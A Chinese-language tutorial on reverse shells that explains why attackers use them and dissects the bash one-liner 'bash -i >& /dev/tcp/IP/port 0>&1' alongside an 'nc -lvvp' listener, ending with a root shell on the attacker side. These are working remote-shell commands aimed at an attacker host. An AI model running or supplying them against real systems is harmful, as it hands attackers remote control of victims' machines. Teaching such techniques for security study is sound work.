反弹shell
@正向连接:
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
@反向连接:
为什么需要用到反弹shell呢?
反弹shell通常适用于如下几种情况:
1目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
2目标机端口被占用。
3目标机位于局域网,或者IP会动态变化,攻击机无法直接连接。
4对于病毒、木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
…….
对于以上的几种情况,我们都是无法利用正向连接的,需要用到反向连接。
所以这里反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。
反弹shell的方式有很多,那具体要用到哪种方式还需要根据主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell;如果具有python环境,也可以利用python来反弹shell;如果具有php环境,也可以利用php来反弹shell等等......
常见的反弹shell命令
1 | bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 |
我们将命令拆开
1 | bash -i |
bash
Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径
常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途
查询当前shell命令 ls -l /bin/sh
bash -i 打开一个交互式的bash shell 如果有 -i 参数,就是交互式的
交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的
使用命令 echo $- 可以查看是否是交互式shell
/dev目录
dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
1 | /dev/tcp/192.168.25.144/8888 |
所以上述命令就是和192.168.25.144:8888建立TCP连接
文件描述符
Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。
所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)
标准输入(stdin): 代码为 0 使用 < 或 << 默认设备键盘
标准输出(stdout): 代码为 1 使用 > 或 >> 默认设备显示器
标准错误输出(stderr): 代码为 2 使用 2> 或 2>> 默认设备显示器
大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端
反弹shell最好的办法就是使用bash结合重定向方法的一句话,具体命令如下
bash -i >& /dev/tcp/xx.xx.xx.xx/2333 0>&1
或bash -c “bash -i >& /dev/tcp/xx.xx.xx.xx/2333 0>&1”
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
@针对Bash反弹一句话进行拆分:
| 命令 | 命令详解 |
|---|---|
| bash -i | 产生一个bash交互环境 |
| >& | 将联合符号前面的内容与后者相结合,然后一起重定向给后者 |
| /dev/tcp/xx.xx.xx.xx/2333 | Linux环境中所有的内容都以文件的形式存在的,其实大家一看这个内容就明白,就是让目标主机与攻击机xx.xx.xx.xx的2333端口建立一个tcp连接 |
| 0>&1 | 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容 |
@bash反弹一句完整的解读过程就是:
Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP2333会话连接)相结合,然后在重定向与TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境
攻击机(vps服务器)开启本地监听:
命令:nc -lvvp 2333
目标机主动连接攻击机:
命令:bash -i >& /dev/tcp/xx.xx.xx.xx/2333 0>&1
查看攻击机(vps服务器)发现成功的拿到了shell,已经变成了root@kali,这里继续输入命令查看:
命令:whoami
暂且到这吧以后再补